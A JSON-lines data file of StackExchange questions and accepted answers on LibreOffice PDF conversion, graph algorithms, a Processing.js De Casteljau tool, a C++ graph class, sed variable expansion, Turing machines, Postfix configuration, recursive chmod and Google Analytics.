{  "id": "_unix.197063"  , "question": "I am using libreoffice under CentOS 6. I can convert ODT files to PDF with:libreoffice --headless --convert-to pdf *.odtbut the problem is that it only works when no document is open in libreoffice.When I specify --env:UserInstallation=file:///path/to/some/directoryas suggested in one of the comments of this question  , it doesn't help.What am I doing wrong? It is a nuisance to close all libreoffice instances before running the before command."  , "title": "How to convert libreoffice ODT to PDF in bash"  , "tags": "pdf;libreoffice"  , "accepted_answer": "That is unlikely going to work, as the suggestion in the comment is both incomplete (you cannot just specify some directory) and incorrect (--env:... should be -env:... Here is what I recommend you do:Stop all instances of libreofficeStart libreoffice from the commandline without specifying --headless:libreoffice -env:UserInstallation=file:///home/username/.config/libreoffice-altyou should replace /home/username  with your home directory (and adjust .config if you don't have that on your CentOS, I did this on Ubuntu and Linux Mint). The above will create a new configuration directory for the alternate libreoffice in your .config directory, without which you would get some error about java not being found.Exit that instance of libreofficeThat directory /home/username/.config/libreoffice-alt  should now have been created for you.Now start another libreoffice from the command-line (doing so allows you to see some useful messages if things go wrong when starting the second instance), without the -env:..., and while that is still running start the conversion using:libreoffice -env:UserInstallation=file:///home/username/.config/libreoffice-alt --headless --convert-to pdf *.odt"  } 
{  "id": "_datascience.15267"  , "question": "I'm training a neural network for pattern recognition with Bayesian Regularization Backpropagation algorithm(trainbr : https://www.mathworks.com/help/nnet/ref/trainbr.html). I have $4$ inputs and $100$ units, but the training seems not converging. It has been running for 25 hours!.Here is the training state:Is there a way to accelerate the converging of the training? Perhaps increasing the $\\mu$ steps values ?Thanks"  , "title": "Convergence in Bayesian Regularization Backpropagation Matlab"  , "tags": "classification;neural network;matlab;convergence"  } 
{  "id": "_cs.59295"  , "question": "ContextI am developing an application and came across a problem that seemed difficult to solve. Before attempting to reinvent the wheel (and trying to solve an NP complete problem on my own), I would like to get some feedback. Below you will find an abstract version of the problem.The ProblemInput:A bag of colored balls. A ball may have many colors (e.g. red, blue and yellow) or only one (e.g. green). Each ball has also a score. Since we are talking about a bag, elements may be repeated.A set of colored boxes, one per color. Each box is labeled with a natural number.Problem: each colored box must be filled with the exact amount of balls specified by its label.Constraints:The color of the balls in a box must match the color of the box (e.g. a green ball goes in a green box).A ball of many colors can be assigned to a box of any of those colors (e.g. a ball that is both red and green can either go in a red box or in a green one).The solution to the problem can be represented by the following information: for each box, a list of the balls it contains (a ball is represented as a list of colors and a score).Output of the algorithm: the solution with the highest score. The score of a solution is the sum of the scores of all balls in the boxes (of course, there may be many solutions, but in that case we just pick one of them).Current researchSomehow this problem makes me think of Sudoku, which is an instance of the exact cover problem. However, I haven't been able to come up with a way to model this problem in terms of exact cover and am afraid I may be missing a more straightforward approach.As suggested in the answers, another possibility would be to model this using max-flow. However, this approach is unable to generate all possible solutions such that each box is filled to its capacity. Furthermore, the max flow value is known to be the sum of the capacities of the boxes (it is assumed the number of balls is large enough for this to happen).QuestionsIs this an instance of the exact cover problem? If yes, how would you model it in terms of exact cover? If no, is it an instance of any other well-known problem?"  , "title": "Is this an instance of a well-known problem?"  , "tags": "complexity theory;optimization;np complete"  , "accepted_answer": "Isn't this a case of max-flow?Model your problem as a bipartite graph, from ball to boxes, with an edge from each ball to the boxes with matching colour. Each of these edges has capacity 1. Now add source and target vertices. From source to each ball with capacity 1. From each box to target, capacity is the capacity of the box.Now you want to enumerate all solutions to this max-flow problem (i.e., output all flows whose value achieves the maximum possible). But that might be a lot of solutions!(edit) A recent update has added scores to the balls, and the target is to maximize the scores of the balls that are put into the boxes. I would suggest maximal bipartite matching where you have as many copies of nodes for each box as the capacity of that box. As there will be balls that do not fit into the boxes I would suggest adding boxes for overflow balls (to obtain complete matching, when necessary). Wikipedia suggests the Hungarian algorithm."  } 
{  "id": "_codereview.108522"  , "question": "So I wrote this code for a contest going on over at Khan Academy known as Pixar in a Program. The goal of the contest is to create an entry that uses one of the skills shown in the new Pixar in a Box course made by them in their partnership with Disney Pixar. In my entry I used De Casteljau's algorithm to make a tool that allowed for easy editing to find the touching point of a parabola. My entry can be found here: https://www.khanacademy.org/computer-programming/de-casteljaus-algorithm-made-easy-wip/5879067530887168It is written in their live editor over at Khan Academy using the Processing port to JavaScript known as Processing.JS. Here's the code:var a = [-150, 50], b = [0, -50], c = [150, 50];var ar = [], br = [], cr = []; // The r in these variable names means rounded, this is for grid snapping.var ad = [], bd = [], cd = [], qd = [], rd = [], pd = []; // The d in these variable names means data, this is for data ouput to match the Cartesian coordinate plane snaps.var t = 0.25;var q = [(1 - t) * a[0] + t * b[0], (1 - t) * a[1] + t * b[1]];var r = [(1 - t) * b[0] + t * c[0], (1 - t) * b[1] + t * c[1]];var p = [(1 - t) * q[0] + t * r[0], (1 - t) * q[1] + t * r[1]];var qMenu = false;var qMenuHover = false;var rMenu = false;var rMenuHover = false;var pMenu = false;var pMenuHover = false;var settingsMenu = false;var settingsMenuHover = false;var mfp = false; // Stands for Make Full Parabolavar totalPoints = 3;var selected = false;var x = function(i) {    if(i === 0) {        return ar[0];    } else if(i === 1) {        return br[0];    } else if(i === 2) {        return cr[0];    }}; // Used to get the x value of a certain pointvar y = function(i) {    if(i === 0) {        return ar[1];    } else if(i === 1) {        return br[1];    } else if(i === 2) {        return cr[1];    }}; // Used to get the y value of a certain pointvar setX = function(i, value) {    if(i === 0) {        a[0] = value;    } else if(i === 1) {        b[0] = value;    } else if(i === 2) {        c[0] = value;    }}; // Used to set the x value of a certain pointvar setY = function(i, value) {    if(i === 0) {        a[1] = value;    } else if(i === 1) {        b[1] = value;    } else if(i === 2) {        c[1] = value;    }}; // Used to get the y value of a certain pointvar drawControlPoint = function(cp) {    var cpX;    var cpY;    if(cp === 0) {        cpX = ar[0]; cpY = ar[1];    } else if(cp === 1) {        cpX = br[0]; cpY = br[1];    } else if(cp === 2) {        cpX = cr[0]; cpY = cr[1];    }    if(cp === selected) {        if(mouseIsPressed) {            fill(66, 97, 222);        } else {            fill(128, 128, 128);        }    } else {        fill(255, 255, 255);    }    strokeWeight(1);    stroke(163, 163, 163);    ellipse(cpX, -cpY, 10, 10);    noStroke();}; // Used to draw each control pointtranslate(200, 200); // Translate the program to make the origin at the center of the screenmouseDragged = function() {    // See the comments in the mouseMoved function    var MouseX = mouseX - 200;    var MouseY = -(mouseY - 200);    var PMouseX = pmouseX - 200;    // If a point is selected, set its x and y to the MouseX and MouseY    if (selected !== null) {        setX(selected, MouseX);        setY(selected, MouseY);    }    // Variable t controller    if(mouseX > 200 && mouseX < 400 && mouseY > 0 && mouseY < 40) {        t += (MouseX - PMouseX) / 160;    }};mouseMoved = function() {    // I have to adjust the mouse coords due to the translation of data    var MouseX = mouseX - 200;    var MouseY = -(mouseY - 200); // Make MouseY follow the Cartesian coordinate system    selected = null;    // Find the distance of the mouse to the control point    for(var i = 0; i < totalPoints; i++) {        if(dist(MouseX, MouseY, x(i), y(i)) < 5) {            selected = i;        }    }    if(mouseY > 380) {        if(mouseX > 50 && mouseX < 100) {            qMenuHover = true;        } else if(mouseX > 150 && mouseX < 200) {            rMenuHover = true;        } else if(mouseX > 250 && mouseX < 300) {            pMenuHover = true;        } else if(mouseX > 360 && mouseX < 400) {            settingsMenuHover = true;        } else {            qMenuHover = false;            rMenuHover = false;            pMenuHover = false;            settingsMenuHover = false;        }    } else {        qMenuHover = false;        rMenuHover = false;        pMenuHover = false;        settingsMenuHover = false;    }};mouseClicked = function() {    // variable = !variable allows me to toggle variables    if(mouseY > 380) {        if(mouseX > 50 && mouseX < 100) {            qMenu = !qMenu;        } else if(mouseX > 150 && mouseX < 200) {            rMenu = !rMenu;        } else if(mouseX > 250 && mouseX < 300) {            pMenu = !pMenu;        } else if(mouseX > 360 && mouseX < 400) {            settingsMenu = !settingsMenu;        }    }    if(settingsMenu && mouseX > 370 && mouseX < 390 && mouseY > 355 && mouseY < 375) {        mfp = !mfp; // Toggle Make Full Parabola    }};draw = function() {    /** --- CARTESIAN COORDINATE PLANE --- **/    background(120, 228, 255);    stroke(0, 0, 0);    strokeWeight(0.5);    for (var x = -200; x < 200; x += 20) {        line(x, -200, x, 200);    }    for (var y = -200; y < 200; y += 20) {        line(-200, y, 200, y);    }    // Draw a thicker line along the origin lines of the x and y axes    strokeWeight(2);    line(0, -200, 0, 200);    line(-200, 0, 200, 0);    /* --- GRID SNAPPING --- */    // This is where we use those r variables.    ar[0] = round(a[0] / 10) * 10;    ar[1] = round(a[1] / 10) * 10;    br[0] = round(b[0] / 10) * 10;    br[1] = round(b[1] / 10) * 10;    cr[0] = round(c[0] / 10) * 10;    cr[1] = round(c[1] / 10) * 10;    // We then set the d variables for later output.    ad[0] = ar[0] / 20;    ad[1] = ar[1] / 20;    bd[0] = br[0] / 20;    bd[1] = br[1] / 20;    cd[0] = cr[0] / 20;    cd[1] = cr[1] / 20;    qd[0] = q[0] / 20;    qd[1] = q[1] / 20;    rd[0] = r[0] / 20;    rd[1] = r[1] / 20;    pd[0] = p[0] / 20;    pd[1] = p[1] / 20;    /** --- POINTS A-C AND Q,R,P ALGORITHM GENERATION --- **/    strokeWeight(3);    stroke(255, 0, 21);    line(ar[0], -ar[1], br[0], -br[1]);    line(br[0], -br[1], cr[0], -cr[1]);    if(!mfp) {        strokeWeight(3);        q = [(1 - t) * ar[0] + t * br[0], (1 - t) * ar[1] + t * br[1]];        r = [(1 - t) * br[0] + t * cr[0], (1 - t) * br[1] + t * cr[1]];        p = [(1 - t) * q[0] + t * r[0], (1 - t) * q[1] + t * r[1]];        line(q[0], -q[1], r[0], -r[1]);        noStroke();        fill(255, 242, 0); // Show that these are not draggable        ellipse(q[0], -q[1], 10, 10);        ellipse(r[0], -r[1], 10, 10);        ellipse(p[0], -p[1], 10, 10);    } else {        strokeWeight(1);        for(var i = 0; i < 1; i += 0.05) {            q = [(1 - i) * ar[0] + i * br[0], (1 - i) * ar[1] + i * br[1]];            r = [(1 - i) * br[0] + i * cr[0], (1 - i) * br[1] + i * cr[1]];            p = [(1 - i) * q[0] + i * r[0], (1 - i) * q[1] + i * r[1]];            line(q[0], -q[1], r[0], -r[1]);        }    }    for(var i = 0; i < totalPoints; i++) {        drawControlPoint(i);    } // Draw control points    /** --- VARIABLE 'T' SLIDER --- **/    t = constrain(t, 0, 1); // It's possible to exceed 1 or going the opposite way with 0, so we'll constrain it.    noStroke();    fill(255, 255, 255, 200);    rect(0, -200, 200, 40);    stroke(152, 179, 230);    strokeWeight(2);    line(40, -180, 180, -180);    fill(72, 123, 224);    ellipse(40 + t * 140, -180, 15, 15);    fill(0, 0, 0);    textAlign(CENTER, CENTER);    textSize(25);    text(t, 20, -180);    textSize(12);    text(t, 40 + t * 140, -166);    /** --- ALGORITHM COMPUTATION DISPLAY --- **/    textAlign(CORNER, CORNER);    textSize(18);    fill(0, 0, 0);    text(Q: ( + qd[0].toFixed(2) + ,  + qd[1].toFixed(2) + ), -180, -180);    text(R: ( + rd[0].toFixed(2) + ,  + rd[1].toFixed(2) + ), -180, -160);    text(P: ( + pd[0].toFixed(2) + ,  + pd[1].toFixed(2) + ), -180, -140);    /** --- STEP-BY-STEP ALGORITHM EVALUATIONS WITH MENU --- **/    /* --- MENUS --- */    // The reason I have so many .toFixed(2), it's because in weird situations it will go up to 16 decimal places    // There can be rounding errors because of .toFixed not rounding, that's why I compute the final step with the qd/rd/pd rather than manually    if(qMenu) {        fill(0, 0, 0, 200);        noStroke();        rect(-200, -25, 200, 205);        fill(255, 255, 255);        textSize(11);        textAlign(CENTER, CENTER);        text(Qx = (1-t) * Ax + t * Bx, -100, -10);        text(Qx = (1- + t.toFixed(2) + ) *  + ad[0].toFixed(2) +  +  + t.toFixed(2) +  *  + bd[0].toFixed(2), -100, 10);        text(Qx = ( + (1 - t.toFixed(2)).toFixed(2) + ) *  + ad[0].toFixed(2) +  +  + t.toFixed(2) +  *  + bd[0].toFixed(2), -100, 30);        text(Qx =  + ((1 - t.toFixed(2)) * ad[0]).toFixed(2) +  +  + (t.toFixed(2) * bd[0]).toFixed(2), -100, 50);        text(Qx =  + qd[0].toFixed(2), -100, 70);        text(Qy = (1-t) * Ay + t * By, -100, 90);        text(Qy = (1- + t.toFixed(2) + ) *  + ad[1].toFixed(2) +  +  + t.toFixed(2) +  *  + bd[1].toFixed(2), -100, 110);        text(Qy = ( + (1 - t.toFixed(2)).toFixed(2) + ) *  + ad[1].toFixed(2) +  +  + t.toFixed(2) +  *  + bd[1].toFixed(2), -100, 130);        text(Qy =  + ((1 - t.toFixed(2)) * ad[1]).toFixed(2) +  +  + (t.toFixed(2) * bd[1]).toFixed(2), -100, 150);        text(Qy =  + qd[1].toFixed(2), -100, 170);    }    if(rMenu) {        fill(0, 0, 0, 200);        noStroke();        rect(-100, -25, 200, 205);        fill(255, 255, 255);        textSize(11);        textAlign(CENTER, CENTER);        text(Rx = (1-t) * Bx + t * Cx, 0, -10);        text(Rx = (1- + t.toFixed(2) + ) *  + bd[0].toFixed(2) +  +  + t.toFixed(2) +  *  + cd[0].toFixed(2), 0, 10);        text(Rx = ( + (1 - t.toFixed(2)).toFixed(2) + ) *  + bd[0].toFixed(2) +  +  + t.toFixed(2) +  *  + cd[0].toFixed(2), 0, 30);        text(Rx =  + ((1 - t.toFixed(2)) * bd[0]).toFixed(2) +  +  + (t.toFixed(2) * cd[0]).toFixed(2), 0, 50);        text(Rx =  + rd[0].toFixed(2), 0, 70);        text(Ry = (1-t) * By + t * Cy, 0, 90);        text(Ry = (1- + t.toFixed(2) + ) *  + bd[1].toFixed(2) +  +  + t.toFixed(2) +  *  + cd[1].toFixed(2), 0, 110);        text(Ry = ( + (1 - t.toFixed(2)).toFixed(2) + ) *  + bd[1].toFixed(2) +  +  + t.toFixed(2) +  *  + cd[1].toFixed(2), 0, 130);        text(Ry =  + ((1 - t.toFixed(2)) * bd[1]).toFixed(2) +  +  + (t.toFixed(2) * cd[1]).toFixed(2), 0, 150);        text(Ry =  + rd[1].toFixed(2), 0, 170);    }    if(pMenu) {        fill(0, 0, 0, 200);        noStroke();        rect(0, -25, 200, 205);        fill(255, 255, 255);        textSize(11);        textAlign(CENTER, CENTER);        text(Px = (1-t) * Qx + t * Rx, 100, -10);        text(Px = (1- + t.toFixed(2) + ) *  + qd[0].toFixed(2) +  +  + t.toFixed(2) +  *  + rd[0].toFixed(2), 100, 10);        text(Px = ( + (1 - t.toFixed(2)).toFixed(2) + ) *  + qd[0].toFixed(2) +  +  + t.toFixed(2) +  *  + rd[0].toFixed(2), 100, 30);        text(Px =  + ((1 - t.toFixed(2)) * qd[0]).toFixed(2) +  +  + (t.toFixed(2) * rd[0]).toFixed(2), 100, 50);        text(Px =  + pd[0].toFixed(2), 100, 70);        text(Py = (1-t) * Qy + t * Ry, 100, 90);        text(Py = (1- + t.toFixed(2) + ) *  + qd[1].toFixed(2) +  +  + t.toFixed(2) +  *  + rd[1].toFixed(2), 100, 110);        text(Py = ( + (1 - t.toFixed(2)).toFixed(2) + ) *  + qd[1].toFixed(2) +  +  + t.toFixed(2) +  *  + rd[1].toFixed(2), 100, 130);        text(Py =  + ((1 - t.toFixed(2)) * qd[1]).toFixed(2) +  +  + (t.toFixed(2) * rd[1]).toFixed(2), 100, 150);        text(Py =  + pd[1].toFixed(2), 100, 170);    }    if(settingsMenu) {        fill(0, 0, 0, 200);        noStroke();        rect(50, 125, 150, 55);        fill(186, 186, 186);        textSize(12);        textAlign(CENTER, CENTER);        text(If this is pressed it will\\nnullify other data., 125, 141);        fill(255, 255, 255);        text(Make Full Parabola, 110, 166);        stroke(255, 255, 255);        noFill();        rect(170, 156, 20, 20);        if(mfp) {            stroke(0, 255, 9);            strokeWeight(3);            line(172, 171, 177, 176);            line(177, 176, 187, 156);        }        noStroke();    }    textAlign(CORNER, CORNER);    /* --- BOTTOM BAR --- */    fill(0, 0, 0, 200);    noStroke();    rect(-200, 180, width, 20);    textSize(15);    if(qMenuHover) {        fill(255, 255, 255, 100);        rect(-175, 180, 100, 20);    } else if(rMenuHover) {        fill(255, 255, 255, 100);        rect(-75, 180, 100, 20);    } else if(pMenuHover) {        fill(255, 255, 255, 100);        rect(25, 180, 100, 20);    } else if(settingsMenuHover) {        fill(255, 255, 255, 100);        rect(160, 180, 40, 20);    }    fill(255, 255, 255);    text(Point Q, -150, 195);    text(Point R, -50, 195);    text(Point P, 50, 195);    stroke(255, 255, 255);    line(170, 195, 180, 185);    line(180, 185, 190, 195);};Note: I didn't use mouseDragged in totality because it gets flaky if you move your mouse too fast. So instead I set a boolean based off dist(); in mouseDragged, and controlled it elsewhere."  , "title": "De Casteljau's Algorithm Tool for Khan Academy Contest"  , "tags": "javascript;programming challenge;processing.js"  , "accepted_answer": "This will be a slightly abstract review. I'm not a big fan of Processing.js - or rather, I don't know it well enough to know if I'm going against the grain. And Khan Academy's editor is annoying me (it reminds me too much of Microsoft's Clippy; always butting in).So I'll be talking mostly about how you could do things in raw JavaScript. Some of it already exists in Processing.js, or is done differently in Processing.js.Anyway, my first point would be that user interface and core logic are too intermingled here. But that's Processing for you - it gets messy.My next point would be to attack this more high-level. The core data type you're dealing with is coordinates - x and y. Also known as a point, or a vector.You're storing them as two numbers in an array, which is valid, but with a little more preparation, you can use objects instead, which in turn can make you code more expressive. Right now a lot of your code relies on hard-coded array indices, when what you really mean is x or y, or point a or b.So let's make some points, using a Point constructor (Processing has a PVector constructor you can use instead):function Point(x, y) {  this.x = x;  this.y = y;}var a = new Point(-150, 20);var b = new Point(0, -50);var c = new Point(150, 50);That's our control points. Next are the interpolated points Q, R, and P.Here's where object orientation comes in handy. The coordinates of the interpolated points are derived entirely from the coordinates of the control points. So we'll want our InterpolatedPoint constructor to take two Points as arguments:function InterpolatedPoint(a, b) {    this.a = a;    this.b = b;}Now, instead of just assigning some numbers to the interpolated point's x and y, let's make getter methods that'll calculate coordinates on the fly:InterpolatedPoint.prototype = {    getX: function (t) {        return lerp(this.a.x, this.b.x, t);    },    getY: function (t) {        return lerp(this.a.y, this.b.y, t);    }};I'm using lerp here, which is a basic linear interpolation function that's also in Processing.js. It's just (b - a) * t + a.So putting that to use:var q = new InterpolatedPoint(a, b);var r = new InterpolatedPoint(b, c);var p = new InterpolatedPoint(q, r);So now, you can change the coordinates of points a, b, and c, yet as soon as you call p.getX(0.5) or q.getY(0.8) you'll get the right value back. The InterpolatedPoint object keep references to the Point objects that define them. So you're pretty close to a algebraic definition, and the logic has been encapsulated in objects.$$\\vec{q} = (\\vec{b}-\\vec{a})t + \\vec{a}$$$$\\vec{r} = (\\vec{c}-\\vec{b})t + \\vec{b}$$$$\\vec{p} = (\\vec{r}-\\vec{q})t + \\vec{q}$$From here it's a question of drawing the points and lines. I'd suggest moving some of this logic to methods on Point/InterpolatedPoint - i.e. make them draw themselves.Because it was a fun little challenge, I've written an alternative implementation (which also differs from the above a little by defining real getters) in plain JS. Note: Since I'm using a built-in slider input, it won't work in IE9 and below."  } 
{  "id": "_codereview.160051"  , "question": "For a class we needed to implement an undirected unweighted graph that:Maintains a distance matrix that can be printedSupports the computation of the graph's diameter (uses dist matrix)Prints the number of connected components and their included verticesWith the above being said, I opted for an adjacency matrix to represent the graph, as I already have to use a distance matrix so why not (though the change from matrix => list should be fairly trivial). I also implementedDFS from a given nodeBFS from a given nodeShortest path. Returns the shortest number of edges between vertices v1 and v2 if such a path exists and -1 otherwise.To implement the shortest path I used a modified BFS that would increment a variable called distance that indicates how far the node at the front of the queue is away from the node we started at. Got the idea from a similar algorithm which solves the problem Given a binary tree return a vector of vectors where each nested vector contains the values of each node at a particular level. Found here.The main goal of this implementation, and this post for that matter, is to determine whether the logic in my methods are reasonable, specifically with BFS/DFS. I'd like to know if I'm missing anything or if there's some simplification I had not considered. Note the implementation does not really have error handling for invalid input, it is just to practice and experiment with!Graph.hNote the reason I'm using two dimensional bool/int arrays is because I didn't feel the overhead from std::vector was necessary, though in production it would be a good choiceclass Graph {private:  int numVertices;  bool **adjacencyMatrix;  int **distanceMatrix;  bool distanceMatrixComputed;  void initAdjacencyMatrix();  void initDistanceMatrix();  bool computeDistanceMatrix();  std::unordered_map<int, int> bfsWithDistance(int);  void dfsHelper(int, std::vector<int>&, std::unordered_set<int>&);public:  Graph(int);  void addEdge(int, int);  int shortestPath(int, int);  int getDiameter();  std::vector<int> bfs(int);  std::vector<int> dfs(int);  void printAdjacencyMatrix();  void printDistanceMatrix();  void printComponents();  ~Graph();};Graph.cppIn my actual implementation I defined MIN and MAX to avoid pulling in <algorithm> but they didn't format here properly so I removed them from this post#include Graph.hGraph::Graph(int inNumVertices): numVertices(MAX(inNumVertices, 0)), distanceMatrixComputed(false) {  this->initAdjacencyMatrix();  this->initDistanceMatrix();}/** * Allocate memory for adjacency matrix */void Graph::initAdjacencyMatrix() {  this->adjacencyMatrix = new bool*[this->numVertices];  for (int i = 0; i < this->numVertices; ++i) {    this->adjacencyMatrix[i] = new bool[this->numVertices];  }}/** * Allocate memory for distance matrix */void Graph::initDistanceMatrix() {  this->distanceMatrix = new int*[this->numVertices];  for (int i = 0; i < this->numVertices; ++i) {    this->distanceMatrix[i] = new int[this->numVertices];    for (int j = 0; j < this->numVertices; ++j) {      this->distanceMatrix[i][j] = -1;    }  }}/** * Since this graph implementation is undirected, * our adjacency matrix must remain symmetrical. */void Graph::addEdge(int i, int j) {  this->adjacencyMatrix[i][j] = true;  this->adjacencyMatrix[j][i] = true;  this->distanceMatrixComputed = false;}std::vector<int> Graph::dfs(int vertex) {  std::vector<int> returnVec;  std::unordered_set<int> visited;  dfsHelper(vertex, returnVec, visited);  return returnVec;}void Graph::dfsHelper(int vertex, std::vector<int> &vec, std::unordered_set<int> &visited) {  if (visited.find(vertex) != visited.end()) return;  vec.push_back(vertex);  visited.insert(vertex);  for (int j = 0; j < this->numVertices; ++j) {    if (this->adjacencyMatrix[vertex][j]) {      dfsHelper(j, vec, visited);    }  }}std::vector<int> Graph::bfs(int vertex) {  std::vector<int> returnVec;  std::unordered_set<int> visited;  std::queue<int> q;  q.push(vertex);  while (!q.empty()) {    if (visited.find(q.front()) != visited.end()) {      q.pop();      continue;    }    returnVec.push_back(q.front());    // Push all of q.front()'s children    for (int j = 0; j < this->numVertices; ++j) {      if (this->adjacencyMatrix[q.front()][j]) {        q.push(j);      }    }    // Visit q.front()    visited.insert(q.front());    q.pop();  }  return returnVec;}std::unordered_map<int, int> Graph::bfsWithDistance(int vertex) {  std::unordered_map<int, int> visited;  std::queue<int> q;  q.push(vertex);  int count, distance = 0;  while (!q.empty()) {    if (visited.find(q.front()) != visited.end()) {      q.pop();      continue;    }    count = q.size();    while (count) {      // Push all of q.front()'s children      for (int j = 0; j < this->numVertices; ++j) {        if (this->adjacencyMatrix[q.front()][j]) {          q.push(j);        }      }      // Visit q.front()      // This works nicely because insert will      // not update an already existing value      visited.insert({q.front(), distance});      q.pop();      count--;    }    distance++;  }  return visited;}bool Graph::computeDistanceMatrix() {  std::unordered_map<int, int> visited;  for (int i = 0; i < this->numVertices; ++i) {    visited = bfsWithDistance(i);    for (auto it : visited) {      this->distanceMatrix[i][it.first] = it.second;    }  }  this->distanceMatrixComputed = true;  return (visited.size() == this->numVertices);}int Graph::shortestPath(int v1, int v2) {  std::unordered_map<int, int> component = bfsWithDistance(v1);  std::unordered_map<int, int>::const_iterator it = component.find(v2);  return (it != component.end()) ? it->second : -1;}int Graph::getDiameter() {  bool isConnected = this->computeDistanceMatrix();  if (!isConnected) return -1;  int diameter = 0;  for (int i = 0; i < this->numVertices; ++i) {    for (int j = 0; j < this->numVertices; ++j) {      diameter = MAX(diameter, this->distanceMatrix[i][j]);    }  }  return diameter;}void Graph::printComponents() {  if (!this->distanceMatrixComputed) this->computeDistanceMatrix();  std::vector<std::unordered_map<int, int> > connectedComponents;  std::unordered_map<int, int> allVisited, component;  // Gather connected components  for (int i = 0; i < this->numVertices; ++i) {    // Component with root i is its own component if we've never seen it before    if (allVisited.find(i) == allVisited.end()) {      component = bfsWithDistance(i);      connectedComponents.push_back(component);      allVisited.insert(component.begin(), component.end());    }  }  // Print all connected components  std::cout << The graph has  << connectedComponents.size() <<  connected components << '\\n';  for (int i = 0; i < connectedComponents.size(); ++i) {    std::cout << Connected component  << i + 1 << '\\n';    for (auto it = connectedComponents[i].begin(); it != connectedComponents[i].end(); ++it) {      std::cout << it->first <<  -> ;    }    std::cout << '\\n';  }}void Graph::printAdjacencyMatrix() {  std::cout << Adjacency matrix: << '\\n';  for (int i = 0; i < this->numVertices; ++i) {    for (int j = 0; j < this->numVertices; ++j) {      std::cout << this->adjacencyMatrix[i][j] <<  ;    }    std::cout << '\\n';  }  std::cout << '\\n';}void Graph::printDistanceMatrix() {  std::cout << Distance matrix: << '\\n';  for (int i = 0; i < this->numVertices; ++i) {    for (int j = 0; j < this->numVertices; ++j) {      std::cout << this->distanceMatrix[i][j] <<  ;    }    std::cout << '\\n';  }  std::cout << '\\n';}Graph::~Graph() {  for (int i = 0; i < this->numVertices; ++i) {    delete[] this->adjacencyMatrix[i];    delete[] this->distanceMatrix[i];  }  delete[] this->adjacencyMatrix;  delete[] this->distanceMatrix;}"  , "title": "Undirected Unweighted Graph Implementation - C++"  , "tags": "c++;c++11;graph"  } 
{  "id": "_unix.319113"  , "question": "I have a text file like this:melon = [2 2 4 5];apple = [3 6 4 4];lemon = [1 5 4 8];And I want to make a function that reads a named variable into a bash array. This is what I came up with - that doesn't work since the variable $FruitToParse doesn't get expanded:#!/bin/bashset -eset -ufunction file_to_array {    local FileToParse=${1}    local FruitToParse=${2}    for i in `cat ${FileToParse} | sed -n -e 's/.*${FruitToParse} = \\[\\(.*\\)\\];/\\1/p'`); do        echo ${i}    done    }file_to_array fruits.txt apple"  , "title": "How can I expand the variable inside this sed expression?"  , "tags": "bash;sed"  , "accepted_answer": "use double quotes on sed instead of single quotes;$ bob=cool; echo bob is sad | sed s/sad/$bob/bob is cool"  } 
{  "id": "_cstheory.5445"  , "question": "I have a directed acyclic graph with ~250k nodes, each node has one of about 100 symbols as label. Letting a word be the sequence of n symbols that corresponds to a path containing n nodes in the graph, how can I find the most common words? What known algorithms should I study?An interesting extension is to let edges also have one of about 100 symbols (the set of edge symbols does not intersect the set of node symbols) as label, redefining a word to be the sequence of length n+(n-1) symbols that corresponds to a path containing n nodes and n-1 edges.Reading tips and wikipedia links are appreciated as well as more elaborate answers."  , "title": "Finding common label sequences in a directed acyclic graph"  , "tags": "ds.algorithms;graph algorithms;directed acyclic graph"  , "accepted_answer": "Can't you just use the graph to build a trie, and then have the counts of all words.  (You would have to augment the trie slightly.)  It's a simple step from there to sort the words by number of occurrences, although the most common word will trivially be the single label that appears the most in your DAG.  (It gets more interesting if you look at most common words of a given length...)"  } 
{  "id": "_cs.60952"  , "question": "Let M be a deterministic Turing machine wich has the properties:1) $\\forall x,y \\in \\Sigma^* : t_M(xy) \\ge t_M(x) + t_M(y)$2) $\\forall a \\in \\Sigma: t_M(a) \\ge 1$ (Also 2) should be obvious for every DTM).Then it follows that for all $x \\in \\Sigma^* : t_M(x) \\ge |x| $.The graph $G_M$ induced by the transition function contains a cycle:To see this choose a word $w$ whose length $|w|$ is $> |Q|$ where $Q$ is the set of states of $M$. Then we have $t_M(w) \\ge |w| > |Q|$. Since $M$ is at every time step on exactly one state, $M$ must visit in $t_M(w) > |Q|$ time steps one state at least twice, hence the graph $G_M$ must contain a cycle.My question is this: Can we construct to every DTM $M'$ an equivalent DTM $M$ with the properties above?In my intuition this is possible: Just construct $M$ such that it reads all the input, writes what it has read, move the pointer to the beginning of the word and then gives control to $M'$. But is it possible to give a more formal proof for this? Or is my intuition wrong?"  , "title": "Timely lower bounded Turing machines"  , "tags": "turing machines"  , "accepted_answer": "Use the following recursive procedure to construct $M'$ from $M$:Run $M'$ on all non-trivial prefixes and suffixes of the input (if any), and ignore the results.Run $M$ on the entire input, and output the result.If $M$ always terminates, so does $M'$. The first step guarantees your first condition. The second condition is virtually automatic."  } 
{  "id": "_unix.379175"  , "question": "How do I make postfix send emails from user@mydomain instead of root@hostname? Even after installing and entering my domain when it asked, it's still being sent with the hostname and not the domain I provided. In my main.cf filemyorigin = /etc/mailnameand /etc/mailname contains: gateblogs.comwhich is my domain.I have managed to fix my problem temporarily by changing my hostname to my domain name. However, how can I change who the email is from; currently mail is shown from root I want it to be something else."  , "title": "How do I change postfix sender address?"  , "tags": "postfix"  } 
{  "id": "_webmaster.14544"  , "question": "I need to change file and folder permission on remote linux web server recursively.For fast uploading i zipped my files and uploaded that zip file. Later on i extracted zip file using file manager of hosting server. It unzipped files but ther file permissions we set to 600 for files and 700 for folders.Now i need to change them 644 and 755 to all files and folders recursively. I do not want to check in folder by folder and change the permission. Is there any tool that can do that recursively?"  , "title": "Which tool can change file permissions recursively"  , "tags": "web hosting;file manager"  , "accepted_answer": "If you are on FTP then your client should let you right click the folder to change the permissions and it should have a checkbox saying something like Click here for a files and folders within.If you are using SSH then you can use chmod -R 755."  } 
{  "id": "_webmaster.62985"  , "question": "I'm trying to figure out the value of specific pages by finding out if they are more or less likely to convert if they hit certain pages.For example: I want to know if they are more likely to convert if they hit one of our case studies or if they go to our about page?Is there a way to do this in Google Analytics? Or do I need secondary software?"  , "title": "Determining conversion rate if users land on specific pages"  , "tags": "google analytics;conversions"  } 
